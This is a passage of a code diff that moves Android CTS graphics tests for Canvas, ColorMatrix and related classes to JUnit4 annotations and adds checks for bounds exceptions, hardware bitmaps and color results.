+        // Should throw out IndexOutOfBoundsException because index + count is bigger than
+        // text length
+        mCanvas.drawTextRun(text.toCharArray(), 0, text.length() + 1, 0, text.length() + 1,
+                0.0f, 0.0f, false, new Paint());
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawTextRunNegativeContextStart() {
+        final String text = "android";
+        final Paint paint = new Paint();
+
+        // Should throw out IndexOutOfBoundsException because contextStart is less than 0
+        mCanvas.drawTextRun(text, 0, text.length(), -1, text.length(), 0.0f, 0.0f, false,
+                new Paint());
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawTextRunStartLessThanContextStart() {
+        final String text = "android";
+
+        // Should throw out IndexOutOfBoundsException because start is less than contextStart
+        mCanvas.drawTextRun(text, 0, text.length(), 1, text.length(), 0.0f, 0.0f, false,
+                new Paint());
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawTextRunEndLessThanStart() {
+        final String text = "android";
+
+        // Should throw out IndexOutOfBoundsException because end is less than start
+        mCanvas.drawTextRun(text, 1, 0, 0, text.length(), 0.0f, 0.0f, false, new Paint());
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawTextRunContextEndLessThanEnd() {
+        final String text = "android";
+
+        // Should throw out IndexOutOfBoundsException because contextEnd is less than end
+        mCanvas.drawTextRun(text, 0, text.length(), 0, text.length() - 1, 0.0f, 0.0f, false,
+                new Paint());
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawTextRunContextEndLargerThanTextLength() {
+        final String text = "android";
+
+        // Should throw out IndexOutOfBoundsException because contextEnd is bigger than
+        // text length
+        mCanvas.drawTextRun(text, 0, text.length(), 0, text.length() + 1, 0.0f, 0.0f, false,
+                new Paint());
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawPosTextWithIndexAndCountNegativeIndex() {
         final char[] text = {
                 'a', 'n', 'd', 'r', 'o', 'i', 'd'
         };
-        final float[] pos = new float[] {
+        final float[] pos = new float[]{
                 0.0f, 0.0f, 1.0f, 1.0f, 2.0f, 2.0f, 3.0f, 3.0f, 4.0f, 4.0f, 5.0f, 5.0f, 6.0f, 6.0f,
                 7.0f, 7.0f
         };
 
-        // abnormal case: index less than 0
-        try {
-            mCanvas.drawPosText(text, -1, 7, pos, mPaint);
-            fail("should throw out IndexOutOfBoundsException because index is less than 0");
-        } catch (IndexOutOfBoundsException e) {
-            // expected
-        }
+        // Should throw out IndexOutOfBoundsException because index is less than 0
+        mCanvas.drawPosText(text, -1, 7, pos, mPaint);
+    }
 
-        // abnormal case: index + count > text.length
-        try {
-            mCanvas.drawPosText(text, 1, 10, pos, mPaint);
-            fail("should throw out IndexOutOfBoundsException because sum of index and count is"
-                                + " bigger than text's length");
-        } catch (IndexOutOfBoundsException e) {
-            // expected
-        }
 
-        // abnormal case: count*2 > pos.length
-        try {
-            mCanvas.drawPosText(text, 1, 10, new float[] {
-                    10.0f, 30.f
-            }, mPaint);
-            fail("should throw out IndexOutOfBoundsException because 2 times of count is"
-                                + " bigger than pos' length");
-        } catch (IndexOutOfBoundsException e) {
-            // expected
-        }
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawPosTextWithIndexAndCountTextTooShort() {
+        final char[] text = {
+                'a', 'n', 'd', 'r', 'o', 'i', 'd'
+        };
+        final float[] pos = new float[]{
+                0.0f, 0.0f, 1.0f, 1.0f, 2.0f, 2.0f, 3.0f, 3.0f, 4.0f, 4.0f, 5.0f, 5.0f, 6.0f, 6.0f,
+                7.0f, 7.0f
+        };
+
+        // Should throw out IndexOutOfBoundsException because sum of index and count is
+        // bigger than text's length
+        mCanvas.drawPosText(text, 1, 10, pos, mPaint);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawPosTextWithIndexAndCountCountTooLarge() {
+        final char[] text = {
+                'a', 'n', 'd', 'r', 'o', 'i', 'd'
+        };
+
+        // Should throw out IndexOutOfBoundsException because 2 times of count is
+        // bigger than pos' length
+        mCanvas.drawPosText(text, 1, 10, new float[] {
+                10.0f, 30.f
+        }, mPaint);
+    }
+
+    @Test
+    public void testDrawPosTextWithIndexAndCount() {
+        final char[] text = {
+                'a', 'n', 'd', 'r', 'o', 'i', 'd'
+        };
+        final float[] pos = new float[]{
+                0.0f, 0.0f, 1.0f, 1.0f, 2.0f, 2.0f, 3.0f, 3.0f, 4.0f, 4.0f, 5.0f, 5.0f, 6.0f, 6.0f,
+                7.0f, 7.0f
+        };
 
         // normal case
         mCanvas.drawPosText(text, 0, 7, pos, mPaint);
     }
 
-    public void testDrawPosText2() {
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDrawPosTextCountTooLarge() {
         final String text = "android";
-        final float[] pos = new float[] {
+
+        // Should throw out IndexOutOfBoundsException because 2 times of count is
+        // bigger than pos' length
+        mCanvas.drawPosText(text, new float[]{
+                10.0f, 30.f
+        }, mPaint);
+    }
+
+    @Test
+    public void testDrawPosText() {
+        final String text = "android";
+        final float[] pos = new float[]{
                 0.0f, 0.0f, 1.0f, 1.0f, 2.0f, 2.0f, 3.0f, 3.0f, 4.0f, 4.0f, 5.0f, 5.0f, 6.0f, 6.0f,
                 7.0f, 7.0f
         };
-
-        // abnormal case: text.length()*2 > pos.length
-        try {
-            mCanvas.drawPosText(text, new float[] {
-                    10.0f, 30.f
-            }, mPaint);
-            fail("should throw out IndexOutOfBoundsException because 2 times of text's length is"
-                                + " bigger than pos' length");
-        } catch (IndexOutOfBoundsException e) {
-            // expected
-        }
-
         // normal case
         mCanvas.drawPosText(text, pos, mPaint);
     }
 
-    public void testDrawTextOnPath1() {
-        final Path path = new Path();
-        final char[] text = {
-                'a', 'n', 'd', 'r', 'o', 'i', 'd'
-        };
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawTextOnPathWithIndexAndCountNegativeIndex() {
+        final char[] text = { 'a', 'n', 'd', 'r', 'o', 'i', 'd' };
 
-        // abnormal case: index < 0
-        try {
-            mCanvas.drawTextOnPath(text, -1, 7, path, 10.0f, 10.0f, mPaint);
-            fail("should throw out ArrayIndexOutOfBoundsException because index is smaller than 0");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
+        // Should throw out ArrayIndexOutOfBoundsException because index is smaller than 0
+        mCanvas.drawTextOnPath(text, -1, 7, new Path(), 10.0f, 10.0f, mPaint);
+    }
 
-        // abnormal case: index + count > text.length
-        try {
-            mCanvas.drawTextOnPath(text, 0, 10, path, 10.0f, 10.0f, mPaint);
-            fail("should throw out ArrayIndexOutOfBoundsException because sum of index and"
-                            + " count is bigger than text's length");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testDrawTextOnPathWithIndexAndCountTextTooShort() {
+        final char[] text = { 'a', 'n', 'd', 'r', 'o', 'i', 'd' };
+
+        // Should throw out ArrayIndexOutOfBoundsException because sum of index and
+        // count is bigger than text's length
+        mCanvas.drawTextOnPath(text, 0, 10, new Path(), 10.0f, 10.0f, mPaint);
+    }
+
+    @Test
+    public void testDrawTextOnPathWithIndexAndCount() {
+        final char[] text = { 'a', 'n', 'd', 'r', 'o', 'i', 'd' };
 
         // normal case
-        mCanvas.drawTextOnPath(text, 0, 7, path, 10.0f, 10.0f, mPaint);
+        mCanvas.drawTextOnPath(text, 0, 7, new Path(), 10.0f, 10.0f, mPaint);
     }
 
-    public void testDrawTextOnPath2() {
+    @Test
+    public void testDrawTextOnPathtestDrawTextRunNegativeCount() {
         final Path path = new Path();
-        String text = "";
 
         // no character in text
-        mCanvas.drawTextOnPath(text, path, 10.0f, 10.0f, mPaint);
+        mCanvas.drawTextOnPath("", path, 10.0f, 10.0f, mPaint);
 
         // There are characters in text
-        text = "android";
-        mCanvas.drawTextOnPath(text, path, 10.0f, 10.0f, mPaint);
+        mCanvas.drawTextOnPath("android", path, 10.0f, 10.0f, mPaint);
     }
 
+    @Test
     public void testDrawPicture1() {
         mCanvas.drawPicture(new Picture());
     }
 
+    @Test
     public void testDrawPicture2() {
         final RectF dst = new RectF(0, 0, 10, 31);
         final Picture p = new Picture();
@@ -2018,6 +2100,7 @@
         mCanvas.drawPicture(p, dst);
     }
 
+    @Test
     public void testDrawPicture3() {
         final Rect dst = new Rect(0, 10, 30, 0);
         final Picture p = new Picture();
@@ -2029,6 +2112,7 @@
         mCanvas.drawPicture(p, dst);
     }
 
+    @Test
     public void testDensity() {
         // set Density
         mCanvas.setDensity(DisplayMetrics.DENSITY_DEFAULT);
@@ -2039,18 +2123,44 @@
         assertEquals(DisplayMetrics.DENSITY_HIGH, mCanvas.getDensity());
     }
 
+    @Test(expected = IllegalStateException.class)
+    public void testDrawHwBitmapInSwCanvas() {
+        Bitmap hwBitmap = mImmutableBitmap.copy(Config.HARDWARE, false);
+        mCanvas.drawBitmap(hwBitmap, 0, 0, null);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testHwBitmapShaderInSwCanvas1() {
+        Bitmap hwBitmap = mImmutableBitmap.copy(Config.HARDWARE, false);
+        BitmapShader bitmapShader = new BitmapShader(hwBitmap, Shader.TileMode.REPEAT,
+                Shader.TileMode.REPEAT);
+        RadialGradient gradientShader = new RadialGradient(10, 10, 30, Color.BLACK, Color.CYAN,
+                Shader.TileMode.REPEAT);
+        Shader shader = new ComposeShader(gradientShader, bitmapShader, Mode.OVERLAY);
+        Paint p = new Paint();
+        p.setShader(shader);
+        mCanvas.drawRect(0, 0, 10, 10, p);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testHwBitmapShaderInSwCanvas2() {
+        Bitmap hwBitmap = mImmutableBitmap.copy(Config.HARDWARE, false);
+        BitmapShader bitmapShader = new BitmapShader(hwBitmap, Shader.TileMode.REPEAT,
+                Shader.TileMode.REPEAT);
+        RadialGradient gradientShader = new RadialGradient(10, 10, 30, Color.BLACK, Color.CYAN,
+                Shader.TileMode.REPEAT);
+        Shader shader = new ComposeShader(bitmapShader, gradientShader, Mode.OVERLAY);
+        Paint p = new Paint();
+        p.setShader(shader);
+        mCanvas.drawRect(0, 0, 10, 10, p);
+    }
+
     private void preCompare() {
         final float[] values = new float[FLOAT_ARRAY_LEN];
         mCanvas.getMatrix().getValues(values);
-        assertEquals(1.0f, values[0]);
-        assertEquals(0.0f, values[1]);
-        assertEquals(0.0f, values[2]);
-        assertEquals(0.0f, values[3]);
-        assertEquals(1.0f, values[4]);
-        assertEquals(0.0f, values[5]);
-        assertEquals(0.0f, values[6]);
-        assertEquals(0.0f, values[7]);
-        assertEquals(1.0f, values[8]);
+        assertArrayEquals(new float[] {
+                1.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f
+        }, values, 0.0f);
     }
 
     private RectF getDeviceClip() {
@@ -2097,4 +2207,38 @@
             assertEquals(matrices.elementAt(i), mCanvas.getMatrix());
         }
     }
+
+    @Test
+    public void testDrawBitmapColorBehavior() {
+        try {
+            // Create a wide gamut bitmap where the pixel value is slightly less than max red.
+            Resources resources = InstrumentationRegistry.getTargetContext().getResources();
+            InputStream in = resources.getAssets().open("almost-red-adobe.png");
+            Bitmap bitmap = BitmapFactory.decodeStream(in);
+
+            // Draw the bitmap to an sRGB canvas.
+            Bitmap canvasBitmap = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
+            Canvas canvas = new Canvas(canvasBitmap);
+            canvas.drawBitmap(bitmap, 0, 0, null);
+
+            // Verify that the pixel is now max red.
+            Assert.assertEquals(0xFFFF0000, canvasBitmap.getPixel(0, 0));
+        } catch (IOException e) {
+            Assert.fail();
+        }
+    }
+
+    @Test
+    public void testShadowLayer_paintColorPreserved() {
+        Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        Canvas canvas = new Canvas(bitmap);
+        Paint paint = new Paint();
+
+        paint.setShadowLayer(5.0f, 10.0f, 10.0f, 0xFFFF0000);
+        paint.setColor(0xFF0000FF);
+        canvas.drawPaint(paint);
+
+        // Since the shadow is in the background, the canvas should be blue.
+        ColorUtils.verifyColor(0xFF0000FF, bitmap.getPixel(50, 50));
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/Canvas_EdgeTypeTest.java b/tests/tests/graphics/src/android/graphics/cts/Canvas_EdgeTypeTest.java
index 3716d82..f34ec71 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Canvas_EdgeTypeTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Canvas_EdgeTypeTest.java
@@ -15,19 +15,28 @@
  */
 package android.graphics.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertEquals;
+
 import android.graphics.Canvas;
+import android.graphics.Canvas.EdgeType;
 import android.graphics.Path;
 import android.graphics.RectF;
-import android.graphics.Canvas.EdgeType;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class Canvas_EdgeTypeTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Canvas_EdgeTypeTest {
+    @Test
     public void testValueOf(){
         assertEquals(EdgeType.BW, EdgeType.valueOf("BW"));
         assertEquals(EdgeType.AA, EdgeType.valueOf("AA"));
     }
 
+    @Test
     public void testValues(){
         EdgeType[] edgeType = EdgeType.values();
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/Canvas_VertexModeTest.java b/tests/tests/graphics/src/android/graphics/cts/Canvas_VertexModeTest.java
index d963ac8..68588ec 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Canvas_VertexModeTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Canvas_VertexModeTest.java
@@ -15,21 +15,30 @@
  */
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+
 import android.graphics.Bitmap;
-import android.graphics.Canvas;
-import android.graphics.Paint;
 import android.graphics.Bitmap.Config;
+import android.graphics.Canvas;
 import android.graphics.Canvas.VertexMode;
-import android.test.AndroidTestCase;
+import android.graphics.Paint;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class Canvas_VertexModeTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Canvas_VertexModeTest {
+    @Test
     public void testValueOf(){
         assertEquals(VertexMode.TRIANGLES, VertexMode.valueOf("TRIANGLES"));
         assertEquals(VertexMode.TRIANGLE_STRIP, VertexMode.valueOf("TRIANGLE_STRIP"));
         assertEquals(VertexMode.TRIANGLE_FAN, VertexMode.valueOf("TRIANGLE_FAN"));
     }
 
+    @Test
     public void testValues(){
         VertexMode[] verMode = VertexMode.values();
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorMatrixColorFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorMatrixColorFilterTest.java
index 2657d15..358e401 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorMatrixColorFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorMatrixColorFilterTest.java
@@ -15,21 +15,30 @@
  */
 package android.graphics.cts;
 
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotSame;
 
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.ColorMatrix;
 import android.graphics.ColorMatrixColorFilter;
 import android.graphics.Paint;
-import android.graphics.Bitmap.Config;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-import junit.framework.TestCase;
+import com.android.compatibility.common.util.ColorUtils;
 
-public class ColorMatrixColorFilterTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    private static final int TOLERANCE = 1;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ColorMatrixColorFilterTest {
 
+    @Test
     public void testColorMatrixColorFilter() {
         ColorMatrixColorFilter filter;
 
@@ -47,17 +56,17 @@
         paint.setColor(Color.BLUE);
         paint.setColorFilter(filter);
         canvas.drawPoint(0, 0, paint);
-        assertColor(Color.CYAN, bitmap.getPixel(0, 0));
+        ColorUtils.verifyColor(Color.CYAN, bitmap.getPixel(0, 0));
         paint.setColor(Color.GREEN);
         canvas.drawPoint(0, 0, paint);
-        assertColor(Color.GREEN, bitmap.getPixel(0, 0));
+        ColorUtils.verifyColor(Color.GREEN, bitmap.getPixel(0, 0));
         paint.setColor(Color.RED);
         canvas.drawPoint(0, 0, paint);
-        assertColor(Color.RED, bitmap.getPixel(0, 0));
+        ColorUtils.verifyColor(Color.RED, bitmap.getPixel(0, 0));
         // color components are clipped, not scaled
         paint.setColor(Color.MAGENTA);
         canvas.drawPoint(0, 0, paint);
-        assertColor(Color.WHITE, bitmap.getPixel(0, 0));
+        ColorUtils.verifyColor(Color.WHITE, bitmap.getPixel(0, 0));
 
         float[] transparentRedAddBlue = new float[] {
                 1f, 0f, 0f, 0f, 0f,
@@ -73,32 +82,43 @@
         // the bitmap stores the result in premul colors and we read out an
         // unpremultiplied result, which causes us to need a bigger tolerance in
         // this case (due to the fact that scaling by 1/255 is not exact).
-        assertColor(Color.argb(128, 255, 0, 64), bitmap.getPixel(0, 0), 2);
+        ColorUtils.verifyColor(Color.argb(128, 255, 0, 64), bitmap.getPixel(0, 0), 2);
         paint.setColor(Color.CYAN);
         canvas.drawPoint(0, 0, paint);
         // blue gets clipped
-        assertColor(Color.CYAN, bitmap.getPixel(0, 0));
+        ColorUtils.verifyColor(Color.CYAN, bitmap.getPixel(0, 0));
 
         // change array to filter out green
-        assertEquals(1f, transparentRedAddBlue[6]);
+        assertEquals(1f, transparentRedAddBlue[6], 0.0f);
         transparentRedAddBlue[6] = 0f;
         // changing the array has no effect
         canvas.drawPoint(0, 0, paint);
-        assertColor(Color.CYAN, bitmap.getPixel(0, 0));
+        ColorUtils.verifyColor(Color.CYAN, bitmap.getPixel(0, 0));
         // create a new filter with the changed matrix
         paint.setColorFilter(new ColorMatrixColorFilter(transparentRedAddBlue));
         canvas.drawPoint(0, 0, paint);
-        assertColor(Color.BLUE, bitmap.getPixel(0, 0));
+        ColorUtils.verifyColor(Color.BLUE, bitmap.getPixel(0, 0));
     }
 
-    private void assertColor(int expected, int actual) {
-        assertColor(expected, actual, TOLERANCE);
-    }
-    
-    private void assertColor(int expected, int actual, int tolerance) {
-        assertEquals(Color.red(expected), Color.red(actual), tolerance);
-        assertEquals(Color.green(expected), Color.green(actual), tolerance);
-        assertEquals(Color.blue(expected), Color.blue(actual), tolerance);
-        assertEquals(Color.alpha(expected), Color.alpha(actual), tolerance);
+    @Test
+    public void testGetColorMatrix() {
+        ColorMatrixColorFilter filter = new ColorMatrixColorFilter(new ColorMatrix());
+        ColorMatrix getMatrix = new ColorMatrix();
+
+        filter.getColorMatrix(getMatrix);
+        assertEquals(new ColorMatrix(), getMatrix);
+
+        ColorMatrix scaleTranslate = new ColorMatrix(new float[] {
+                1, 0, 0, 0, 8,
+                0, 2, 0, 0, 7,
+                0, 0, 3, 0, 6,
+                0, 0, 0, 4, 5
+        });
+
+        filter = new ColorMatrixColorFilter(scaleTranslate);
+        filter.getColorMatrix(getMatrix);
+        assertEquals(scaleTranslate, getMatrix);
+        assertArrayEquals(scaleTranslate.getArray(), getMatrix.getArray(), 0);
     }
 }
+
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorMatrixTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorMatrixTest.java
index 569b9fb..a9d0e44 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorMatrixTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorMatrixTest.java
@@ -15,52 +15,52 @@
  */
 package android.graphics.cts;
 
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
 import android.graphics.ColorMatrix;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class ColorMatrixTest extends AndroidTestCase {
-    private ColorMatrix mColorMatrix;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    private final float[] mSrc = new float[]{
-        0, 1, 2, 3, 4,
-        5, 6, 7, 8, 9,
-        10, 11, 12, 13, 14,
-        15, 16, 17, 18, 19
-    };
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ColorMatrixTest {
     private static final float TOLERANCE = 0.0000001f;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    private static final float[] SOURCE = new float[] {
+            0, 1, 2, 3, 4,
+            5, 6, 7, 8, 9,
+            10, 11, 12, 13, 14,
+            15, 16, 17, 18, 19
+    };
 
-        mColorMatrix = new ColorMatrix(mSrc);
+    private ColorMatrix mColorMatrix;
+
+    @Before
+    public void setup() {
+        mColorMatrix = new ColorMatrix(SOURCE);
     }
 
-    public void testColorMatrix(){
+    @Test
+    public void testColorMatrix() {
         new ColorMatrix();
 
-        ColorMatrix cM1 = new ColorMatrix(mSrc);
+        ColorMatrix cM1 = new ColorMatrix(SOURCE);
         float[] fA1 = cM1.getArray();
-        assertTrue(mSrc.length == fA1.length);
-        int len = mSrc.length;
-
-        for(int i = 0; i < len; i++){
-            assertEquals(mSrc[i], fA1[i]);
-        }
+        assertArrayEquals(SOURCE, fA1, 0.0f);
 
         ColorMatrix cM2 = new ColorMatrix(cM1);
         float[] fA2 = cM2.getArray();
-        assertTrue(fA1.length == fA2.length);
-        len = fA1.length;
-
-        for(int i = 0; i < len; i++){
-            assertEquals(fA1[i], fA2[i]);
-        }
-
+        assertArrayEquals(fA1, fA2, 0.0f);
     }
 
-    public void testReset(){
+    @Test
+    public void testReset() {
         float[] ret = mColorMatrix.getArray();
         preCompare(ret);
 
@@ -68,67 +68,58 @@
         ret = mColorMatrix.getArray();
         assertEquals(20, ret.length);
 
-        for(int i = 0; i <= 19; i++){
-            if(0 == i % 6){
-                assertEquals(1.0f, ret[i]);
+        for (int i = 0; i <= 19; i++) {
+            if (0 == i % 6) {
+                assertEquals(1.0f, ret[i], 0.0f);
                 continue;
             }
 
-            assertEquals(0.0f, ret[i]);
+            assertEquals(0.0f, ret[i], 0.0f);
         }
     }
 
-    public void testSet1(){
+    @Test
+    public void testSet1() {
         float[] ret = mColorMatrix.getArray();
         preCompare(ret);
 
-        float[] fArray = new float[]{
-            19, 18, 17, 16, 15,
-            14, 13, 12, 11, 10,
-            9, 8, 7, 6, 5,
-            4, 3, 2, 1, 0
+        float[] fArray = new float[] {
+                19, 18, 17, 16, 15,
+                14, 13, 12, 11, 10,
+                9, 8, 7, 6, 5,
+                4, 3, 2, 1, 0
         };
 
         mColorMatrix.set(fArray);
-
         ret = mColorMatrix.getArray();
-        assertEquals(20, ret.length);
-
-        for(int i = 19; i >= 0; i--){
-            assertEquals((float) i, ret[19 - i]);
-        }
+        assertArrayEquals(fArray, ret, 0.0f);
     }
 
-    public void testSet2(){
+    @Test
+    public void testSet2() {
         float[] ret = mColorMatrix.getArray();
         preCompare(ret);
 
-        float[] fArray = new float[]{
-            19, 18, 17, 16, 15,
-            14, 13, 12, 11, 10,
-            9, 8, 7, 6, 5,
-            4, 3, 2, 1, 0
+        float[] fArray = new float[] {
+                19, 18, 17, 16, 15,
+                14, 13, 12, 11, 10,
+                9, 8, 7, 6, 5,
+                4, 3, 2, 1, 0
         };
 
         mColorMatrix.set(new ColorMatrix(fArray));
-
         ret = mColorMatrix.getArray();
-        assertEquals(20, ret.length);
-
-        for(int i = 19; i >= 0; i--){
-            assertEquals((float) i, ret[19 - i]);
-        }
+        assertArrayEquals(fArray, ret, 0.0f);
     }
 
-    public void testSetRotate(){
+    @Test(expected=RuntimeException.class)
+    public void testSetRotateIllegalAxis() {
         // abnormal case: IllegalArgument axis
-        try{
-            mColorMatrix.setRotate(4, 90);
-            fail("shouldn't come to here");
-        }catch(RuntimeException e){
-            //expected
-        }
+        mColorMatrix.setRotate(4, 90);
+    }
 
+    @Test
+    public void testSetRotate() {
         mColorMatrix.setRotate(0, 180);
         float[] ret = mColorMatrix.getArray();
         assertEquals(-1.0f, ret[6], TOLERANCE);
@@ -149,33 +140,21 @@
         assertEquals(0, ret[5], TOLERANCE);
     }
 
-    public void testSetSaturation(){
+    @Test
+    public void testSetSaturation() {
         mColorMatrix.setSaturation(0.5f);
         float[] ret = mColorMatrix.getArray();
 
-        assertEquals(0.6065f, ret[0]);
-        assertEquals(0.3575f, ret[1]);
-        assertEquals(0.036f, ret[2]);
-        assertEquals(0.1065f, ret[5]);
-        assertEquals(0.85749996f, ret[6]);
-        assertEquals(0.036f, ret[7]);
-        assertEquals(0.1065f, ret[10]);
-        assertEquals(0.3575f, ret[11]);
-        assertEquals(0.536f, ret[12]);
-        assertEquals(0.0f, ret[3]);
-        assertEquals(0.0f, ret[4]);
-        assertEquals(0.0f, ret[8]);
-        assertEquals(0.0f, ret[9]);
-        assertEquals(0.0f, ret[13]);
-        assertEquals(0.0f, ret[14]);
-        assertEquals(0.0f, ret[15]);
-        assertEquals(0.0f, ret[16]);
-        assertEquals(0.0f, ret[17]);
-        assertEquals(1.0f, ret[18]);
-        assertEquals(0.0f, ret[19]);
+        assertArrayEquals(new float[] {
+                0.6065f, 0.3575f, 0.036f, 0.0f, 0.0f,
+                0.1065f, 0.85749996f, 0.036f, 0.0f, 0.0f,
+                0.1065f, 0.3575f, 0.536f, 0.0f, 0.0f,
+                0.0f, 0.0f, 0.0f, 1.0f, 0.0f
+        }, ret, 0.0f);
     }
 
-    public void testSetScale(){
+    @Test
+    public void testSetScale() {
         float[] ret = mColorMatrix.getArray();
         preCompare(ret);
 
@@ -183,137 +162,138 @@
         ret = mColorMatrix.getArray();
 
         assertEquals(20, ret.length);
-        assertEquals(2.0f, ret[0]);
-        assertEquals(3.0f, ret[6]);
-        assertEquals(4.0f, ret[12]);
-        assertEquals(5.0f, ret[18]);
+        assertEquals(2.0f, ret[0], 0.0f);
+        assertEquals(3.0f, ret[6], 0.0f);
+        assertEquals(4.0f, ret[12], 0.0f);
+        assertEquals(5.0f, ret[18], 0.0f);
 
-        for(int i = 1; i <= 19; i++){
-            if(0 == i % 6){
+        for (int i = 1; i <= 19; i++) {
+            if (0 == i % 6) {
                 continue;
             }
 
-            assertEquals(0.0f, ret[i]);
+            assertEquals(0.0f, ret[i], 0.0f);
         }
     }
 
-    public void testSetRGB2YUV(){
+    @Test
+    public void testSetRGB2YUV() {
         mColorMatrix.setRGB2YUV();
         float[] ret = mColorMatrix.getArray();
 
-        assertEquals(0.299f, ret[0]);
-        assertEquals(0.587f, ret[1]);
-        assertEquals(0.114f, ret[2]);
-        assertEquals(-0.16874f, ret[5]);
-        assertEquals(-0.33126f, ret[6]);
-        assertEquals(0.5f, ret[7]);
-        assertEquals(0.5f, ret[10]);
-        assertEquals(-0.41869f, ret[11]);
-        assertEquals(-0.08131f, ret[12]);
-        assertEquals(0.0f, ret[3]);
-        assertEquals(0.0f, ret[4]);
-        assertEquals(0.0f, ret[8]);
-        assertEquals(0.0f, ret[9]);
-        assertEquals(0.0f, ret[13]);
-        assertEquals(0.0f, ret[14]);
-        assertEquals(0.0f, ret[15]);
-        assertEquals(0.0f, ret[16]);
-        assertEquals(0.0f, ret[17]);
-        assertEquals(1.0f, ret[18]);
-        assertEquals(0.0f, ret[19]);
+        assertArrayEquals(new float[] {
+                0.299f, 0.587f, 0.114f, 0.0f, 0.0f,
+                -0.16874f, -0.33126f, 0.5f, 0.0f, 0.0f,
+                0.5f, -0.41869f, -0.08131f, 0.0f, 0.0f,
+                0.0f, 0.0f, 0.0f, 1.0f, 0.0f
+        }, ret, 0.0f);
     }
 
-    public void testSetYUV2RGB(){
+    @Test
+    public void testSetYUV2RGB() {
         mColorMatrix.setYUV2RGB();
         float[] ret = mColorMatrix.getArray();
 
-        assertEquals(1.402f, ret[2]);
-        assertEquals(1.0f, ret[5]);
-        assertEquals(-0.34414f, ret[6]);
-        assertEquals(-0.71414f, ret[7]);
-        assertEquals(1.0f, ret[10]);
-        assertEquals(1.772f, ret[11]);
-        assertEquals(0.0f, ret[12]);
-        assertEquals(1.0f, ret[0]);
-        assertEquals(0.0f, ret[1]);
-        assertEquals(0.0f, ret[3]);
-        assertEquals(0.0f, ret[4]);
-        assertEquals(0.0f, ret[8]);
-        assertEquals(0.0f, ret[9]);
-        assertEquals(0.0f, ret[13]);
-        assertEquals(0.0f, ret[14]);
-        assertEquals(0.0f, ret[15]);
-        assertEquals(0.0f, ret[16]);
-        assertEquals(0.0f, ret[17]);
-        assertEquals(1.0f, ret[18]);
-        assertEquals(0.0f, ret[19]);
+        assertArrayEquals(new float[] {
+                1.0f, 0.0f, 1.402f, 0.0f, 0.0f,
+                1.0f, -0.34414f, -0.71414f, 0.0f, 0.0f,
+                1.0f, 1.772f, 0.0f, 0.0f, 0.0f,
+                0.0f, 0.0f, 0.0f, 1.0f, 0.0f
+        }, ret, 0.0f);
     }
 
-    public void testPostConcat(){
+    @Test
+    public void testPostConcat() {
         mColorMatrix.postConcat(new ColorMatrix());
 
         float[] ret = mColorMatrix.getArray();
 
-        for(int i = 0; i < 20; i++){
-            assertEquals((float) i, ret[i]);
+        for(int i = 0; i < 20; i++) {
+            assertEquals((float) i, ret[i], 0.0f);
         }
     }
 
-    public void testPreConcat(){
+    @Test
+    public void testPreConcat() {
         mColorMatrix.preConcat(new ColorMatrix());
 
         float[] ret = mColorMatrix.getArray();
 
-        for(int i = 0; i < 20; i++){
-            assertEquals((float) i, ret[i]);
